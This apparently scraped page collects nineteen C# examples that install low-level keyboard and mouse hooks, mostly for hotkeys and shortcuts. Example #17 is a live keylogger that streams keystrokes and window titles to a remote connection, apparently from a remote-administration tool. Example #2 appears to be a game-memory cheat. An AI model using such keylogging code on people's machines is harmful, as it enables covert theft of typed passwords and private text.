Пример #1
0
        public void Init()
        {
            try
            {
                KeyboardHook keyboardHook = new KeyboardHook();
                MouseHook    mouseHook    = new MouseHook();

                keyboardHook.OnKeyPressed   += onKeyPressed;
                keyboardHook.OnKeyUnpressed += onKeyUnPressed;
                keyboardHook.Hook();

                mouseHook.MouseAction += onMouseClick;
                mouseHook.Hook();

                Application.Run();

                keyboardHook.UnHook();
                mouseHook.UnHook();
                WriteUtils.write("Initialization: HookManager");
            }
            catch (Exception ex)
            {
                WriteUtils.writeError("Initialization: HookManager Failed: " + ex.ToString());
            }
        }
Пример #2
0
 private PwnieHax(LocalProcess process) : base(process, process.CreateMemoryInterface(WinAPI.ProcessAccessFlags.All, true))
 {
     //Initialize & set up low-level keyboard hook
     keyboard = new KeyboardHook();
     keyboard.Hook();
     keyboard.KeyUp   += (o, e) => { OnKeyUp(e.Key); };
     keyboard.KeyDown += (o, e) => { OnKeyDown(e.Key); };
     mouse             = new MouseHook();
     mouse.Hook();
     mouse.MouseEvent += Mouse_MouseEvent;
     //Initialize & set up overlay
     Overlay          = new GameOverlay(this, "PwnieHax");
     Overlay.Drawing += Overlay_Drawing;
     Overlay.DrawOnlyWhenInForeground = false;
     Overlay.RegisterHooks(keyboard, mouse);
     MainForm = Overlay;
     //
     performanceLabel = new SuperiorHackBase.Graphics.Controls.Label()
     {
         Text      = "- FPS\n- read\n- write",
         AutoSize  = true,
         BackColor = BrushDescription.Transparent,
         ForeColor = BrushDescription.White,
         Location  = new Vector2(4, 4),
         Font      = new FontDescription("Courier New", 12f)
     };
     Overlay.RootControl.AddChild(performanceLabel);
     fps = new RoundRobinBuffer(60);
 }
Пример #3
0
 public void StartKeyListen()
 {
     if (KeyboardHook != null && !KeyboardHook.Hooked)
     {
         KeyboardHook.Hook();
     }
 }
Пример #4
0
        public MainForm()
        {
            InitializeComponent();

            KeyboardHook.Hook(Core.Components.ModifierKeys.Control, Keys.F12,
                              (sender, args) => tsbPlay.PerformClick());
        }
Пример #5
0
 public ShortcutsManager()
 {
     kHook     = new KeyboardHook();
     HookTable = new Dictionary <ShortStroke, EventHandler>();
     CharTable = new List <char>();
     kHook.Hook();
     kHook.KeyDown += kHook_KeyDown;
     kHook.KeyUp   += kHook_KeyUp;
 }
Пример #6
0
        private void MainForm_Load(object sender, EventArgs e)
        {
            KEYBOARD_HOOK           = new KeyboardHook();
            KEYBOARD_HOOK.KeyEvent += KeyboaardHookEvent;
            var keyboardHookID = KEYBOARD_HOOK.Hook();

            MOUSE_HOOK             = new MouseHook();
            MOUSE_HOOK.MouseEvent += MouseHookEvent;
            var mouseHookID = MOUSE_HOOK.Hook();
        }
Пример #7
0
        static HotkeyManager()
        {
            dKeys = new Dictionary <Keys, DateTime>();
            hKeys = new Dictionary <string, HotKey>();
            kHook = new KeyboardHook();

            kHook.OnKeyDown += KHook_OnKeyDown;
            kHook.OnKeyUp   += KHook_OnKeyUp;

            kHook.Hook();
        }
Пример #8
0
 private void Form1_Load(object sender, EventArgs e)
 {
     comboBox1.SelectedIndex           = 0;
     mouseButtonSelector.SelectedIndex = 0;
     clickTypeSelector.SelectedIndex   = 0;
     MousePointSelector = new MousePointSelector(this);
     HotKey.HookedKeys.Add(Keys.Shift);
     HotKey.HookedKeys.Add(Keys.F6);
     HotKey.KeyDown += HotKey_KeyDown;
     HotKey.Hook();
 }
Пример #9
0
 public void EnableKeyboardHook(KeyboardShortcut shortcut)
 {
     if (shortcut.Enabled)
     {
         _hooks?.Dispose();
         _hooks = KeyboardHook.Hook(shortcut, HandleShortcut);
     }
     else if (_hooks != null)
     {
         _hooks.Dispose();
         _hooks = null;
     }
 }
Пример #10
0
        public void CanInterceptAltTab()
        {
            var intercepted = false;
            var shortcut    = new KeyboardShortcut((int)ModifierVirtualKeys.LAlt, /* VK_TAB */ 0x09, 1);

            using (KeyboardHook.Hook(shortcut, () => intercepted = true))
            {
                KeyboardSend.KeyDown(KeyboardSend.LAlt);
                KeyboardSend.KeyPress(KeyboardSend.Tab);
                KeyboardSend.KeyUp(KeyboardSend.LAlt);
            }

            Assert.IsTrue(intercepted, "Alt + Tab was not intercepted by InterceptAltTab");
        }
Пример #11
0
        // KEYBOARD HOOKING

        // Start Keyboard Hooking
        public void startHooking()
        {
            try
            {
                if (!hooker.IsHooked)
                {
                    hooker.Hook();
                }
                debugLog("[Action] Hook Enabled // State : " + hooker.IsHooked.ToString());
            }
            catch (KeyboardHookException exc)
            {
                debugLog("[Exception] " + exc.Message);
            }
        }
Пример #12
0
 private void CaptureKeysButtonClick(object sender, EventArgs e)
 {
     if (capturingKeys)
     {
         captureKeysButton.Text    = Resources.CaptureKeysString;
         clearKeyLogButton.Enabled = true;
         kHook.Unhook();
         KeyboardWriter.Flush();
     }
     else
     {
         captureKeysButton.Text    = Resources.StopCapturingKeysString;
         clearKeyLogButton.Enabled = false;
         kHook.Hook();
     }
     capturingKeys = !capturingKeys;
 }
Пример #13
0
        public ApplicationViewModel()
        {
            try
            {
                Load();
            }
            catch
            {
                ViewSettings = new ViewSettings();
            }

            Actions = Assembly.GetExecutingAssembly()
                      .GetTypes()
                      .Where(type => type.BaseType != null && type.BaseType.IsGenericType && type.BaseType.GetGenericTypeDefinition() == typeof(FlexAction <>))
                      .Select(type => type.GetConstructor(new Type[0]))
                      .Select(constructor => (IFlexAction)constructor.Invoke(new object[0]))
                      .ToList();

            foreach (var action in Actions)
            {
                foreach (var config in Configs)
                {
                    if (action.Config.GetType() == config.GetType())
                    {
                        action.Config = config;
                        break;
                    }
                }
            }
            Configs = Actions.Select(action => action.Config).ToList();

            keyboardHook          = new KeyboardHook();
            keyboardHook.KeyDown += (s, e) =>
            {
                foreach (var action in Actions)
                {
                    if (action.Config.Activator == e.KeyCode)
                    {
                        action.Toggle();
                    }
                }
            };

            keyboardHook.Hook();
            App.Current.Exit += (s, e) => Save();
        }
Пример #14
0
        public ExpForm()
        {
            KeyboardHook.Hook();
            KeyboardHook.KeyUp   += new KeyEventHandler(KeyUp);
            KeyboardHook.KeyDown += new KeyEventHandler(KeyDown);
            try
            {
                using (StreamReader sr = new StreamReader("settings.dat"))
                {
                    Settings.ScreenshotKey  = (Keys)Int32.Parse((sr.ReadLine()));
                    Settings.ResetKey       = (Keys)Int32.Parse((sr.ReadLine()));
                    Settings.StopKey        = (Keys)Int32.Parse((sr.ReadLine()));
                    Settings.CharSelection  = (Keys)Int32.Parse((sr.ReadLine()));
                    Settings.ToggleHotkeys  = (Keys)Int32.Parse((sr.ReadLine()));
                    Settings.WindowTitle    = sr.ReadLine();
                    Settings.ClassicProcess = sr.ReadLine();
                    Settings.RenewalProcess = sr.ReadLine();
                }
            }
            catch (Exception)
            {
                Settings.ScreenshotKey  = Keys.PrintScreen;
                Settings.ResetKey       = Keys.Delete;
                Settings.StopKey        = Keys.End;
                Settings.CharSelection  = Keys.Pause;
                Settings.WindowTitle    = "Ragnarok";
                Settings.ClassicProcess = "clragexe";
                Settings.RenewalProcess = "ragexe";
            }

            InitializeComponent();
            this.FormClosing += CloseWindow;

            ResetHotkeys();

            logicTimer          = new System.Windows.Forms.Timer();
            logicTimer.Tick    += Looper;
            logicTimer.Interval = (int)((1.0 / 60.0) * 1000.0);
            logicTimer.Start();
        }
Пример #15
0
 public void ReHook()
 {
     kHook.Hook();
 }
        public void InitHotkeys()
        {
            Diag.WriteLine("Init Hotkeys");
            mainTabControl.SelectedIndexChanged += (sender, args) => {
                _hotkeysDisabled = mainTabControl.SelectedIndex == 1;
            };
            _keyboardHook = new KeyboardHook();
            _keyboardHook.OnKeyPressed += OnKeyPressed;

            _keyboardHook.Hook();
            FormClosing += (sender, args) => _keyboardHook.Dispose();

            var defaultHotkeys = JsonConvert.DeserializeObject <List <Hotkey> >(File.ReadAllText("hotkeys.json"));

            _hotkeys = defaultHotkeys;
            if (File.Exists($@"{Utils.DataDir()}/hotkeysv2.json"))
            {
                var userHotkeys = JsonConvert.DeserializeObject <Hotkey[]>(File.ReadAllText($@"{Utils.DataDir()}/hotkeysv2.json"));
                foreach (var userHotkey in userHotkeys)
                {
                    var index = HotkeyIndex(userHotkey.Name);
                    if (index < 0)
                    {
                        _hotkeys.Add(userHotkey);
                        continue;
                    }

                    ReplaceHotkey(userHotkey.Name, userHotkey);
                }
            }

            foreach (var hotkey in _hotkeys)
            {
                switch (hotkey.Name)
                {
                case "SaveCurrentCoordinates":
                    hotkeySaveCurrentCoordinates.InvokeIfRequired(() => {
                        hotkeySaveCurrentCoordinates.Text = hotkey.HotkeyString;
                    });
                    break;

                case "TeleportToCoordinates":
                    hotkeyTeleportToCoordinates.InvokeIfRequired(() => {
                        hotkeyTeleportToCoordinates.Text = hotkey.HotkeyString;
                    });
                    break;

                case "LoadSave":
                    hotkeyLoadSave.InvokeIfRequired(() => {
                        hotkeyLoadSave.Text = hotkey.HotkeyString;
                    });
                    break;

                case "BackupSave":
                    hotkeyBackupSave.InvokeIfRequired(() => {
                        hotkeyBackupSave.Text = hotkey.HotkeyString;
                    });
                    break;

                case "LoadLastQuickSave":
                    hotkeyLoadQuick.InvokeIfRequired(() => {
                        hotkeyLoadQuick.Text = hotkey.HotkeyString;
                    });
                    break;

                case "ForceQuit":
                    hotkeyQuit.InvokeIfRequired(() => {
                        hotkeyQuit.Text = hotkey.HotkeyString;
                    });
                    break;
                }
            }

            hotkeySaveCurrentCoordinates.KeyDown += HotkeySaveCurrentCoordinatesOnKeyDown;
            hotkeyTeleportToCoordinates.KeyDown  += HotkeyTeleportToCoordinatesOnKeyDown;
            hotkeyBackupSave.KeyDown             += HotkeyBackupSaveOnKeyDown;
            hotkeyLoadSave.KeyDown  += HotkeyLoadSaveOnKeyDown;
            hotkeyLoadQuick.KeyDown += HotkeyLoadQuickOnKeyDown;
            hotkeyQuit.KeyDown      += HotkeyQuitOnKeyDown;
        }
Пример #17
0
        public override void ProcessCommand(byte[] parameter, IConnectionInfo connectionInfo)
        {
            switch ((LiveKeyloggerCommunication) parameter[0])
            {
                case LiveKeyloggerCommunication.Start:
#if DEBUG
                    Program.AsyncOperation.Post(state =>
#endif
#if !DEBUG
                    Program.AppContext.AsyncOperation.Post(state =>
#endif
                    {
                        if (_keyboardHook == null)
                        {
                            _keyboardHook = new KeyboardHook();
                            _keyboardHook.StringDown += (sender, args) =>
                            {
                                if (args.IsChar)
                                {
                                    ResponseBytes((byte) LiveKeyloggerCommunication.StringDown,
                                        Encoding.UTF8.GetBytes(args.Value), connectionInfo);
                                }
                                else
                                {
                                    var key = (Keys) args.VCode;
                                    var specialKey = KeyLoggerService.KeysToSpecialKey(key);
                                    var entry = specialKey == 0
                                        ? (KeyLogEntry) new StandardKey((Shared.Commands.Keylogger.Keys) key, true)
                                        : new SpecialKey(specialKey, true);

                                    ResponseBytes((byte) LiveKeyloggerCommunication.SpecialKeyDown,
                                        new Serializer(new[]
                                        {typeof (KeyLogEntry), typeof (SpecialKey), typeof (StandardKey)}).Serialize(
                                            entry),
                                        connectionInfo);
                                }
                            };
                            _keyboardHook.StringUp += (sender, args) =>
                            {
                                if (args.IsChar)
                                    return;

                                var key = (Keys) args.VCode;
                                var specialKey = KeyLoggerService.KeysToSpecialKey(key);
                                var entry = specialKey == 0
                                    ? (KeyLogEntry) new StandardKey((Shared.Commands.Keylogger.Keys) key, false)
                                    : new SpecialKey(specialKey, false);

                                ResponseBytes((byte) LiveKeyloggerCommunication.SpecialKeyUp,
                                    new Serializer(new[]
                                    {typeof (KeyLogEntry), typeof (SpecialKey), typeof (StandardKey)}).Serialize(entry),
                                    connectionInfo);
                            };

                        }

                        if (_activeWindowHook == null)
                        {
                            _activeWindowHook = new ActiveWindowHook();
                            _activeWindowHook.ActiveWindowChanged += (sender, args) =>
                            {
                                ResponseBytes((byte) LiveKeyloggerCommunication.WindowChanged,
                                    Encoding.UTF8.GetBytes(args.Title), connectionInfo);
                            };
                            _activeWindowHook.RaiseOne();
                        }
                        _keyboardHook.Hook();
                    }, null);
                    break;
                case LiveKeyloggerCommunication.Stop:
                    Dispose();
            break;
                default:
                    throw new ArgumentOutOfRangeException();
            }
        }
Пример #18
0
        protected override void OnLoad(EventArgs e)
        {
            Visible       = false;
            ShowInTaskbar = false;

            hooker.Add("Toggle Play", Keys.MediaPlayPause);
            hooker.Add("Stop", Keys.MediaStop);

            if (stationSwitcher.Checked == true)
            {
                hooker.Add("Next Station", Keys.MediaNextTrack);
                hooker.Add("Previous Station", Keys.MediaPreviousTrack);
            }

            hooker.HotkeyDown += (sender, q) => {
                switch (q.Name)
                {
                case "Toggle Play":
                    _status = Bass.BASS_ChannelIsActive(stream);
                    Console.WriteLine(_status);
                    if (_status == BASSActive.BASS_ACTIVE_STOPPED || _status == BASSActive.BASS_ACTIVE_PAUSED)
                    {
                        play.PerformClick();
                    }
                    else if (_status == BASSActive.BASS_ACTIVE_PLAYING)
                    {
                        pause.PerformClick();
                    }
                    break;

                case "Stop":
                    stop.PerformClick();
                    break;

                case "Previous Station":
                    previous.PerformClick();
                    break;

                case "Next Station":
                    next.PerformClick();
                    break;
                }
            };

            if (enableMMKeys.Checked == true)
            {
                hooker.Hook();
            }
            else
            {
                if (hooker.IsHooked)
                {
                    hooker.Unhook();
                }
            }

            XmlDocument prefs = new XmlDocument();

            prefs.Load(path + "\\preferences.xml");
            XmlNode prefsRoot = prefs.FirstChild;

            if (prefsRoot["autoplay"].InnerText == "true")
            {
                foreach (ToolStripMenuItem item in stations.DropDownItems)
                {
                    foreach (ToolStripMenuItem tmp in item.DropDownItems)
                    {
                        if (tmp.Text == prefsRoot["lastStation"].InnerText)
                        {
                            tmp.PerformClick();
                            break;
                        }
                    }
                }
            }

            base.OnLoad(e);
        }
Пример #19
0
 private void InitializeKeyboardHook()
 {
     _hook.Hook();
     this.Closing += (sender, args) => { _hook.Unhook(); };
 }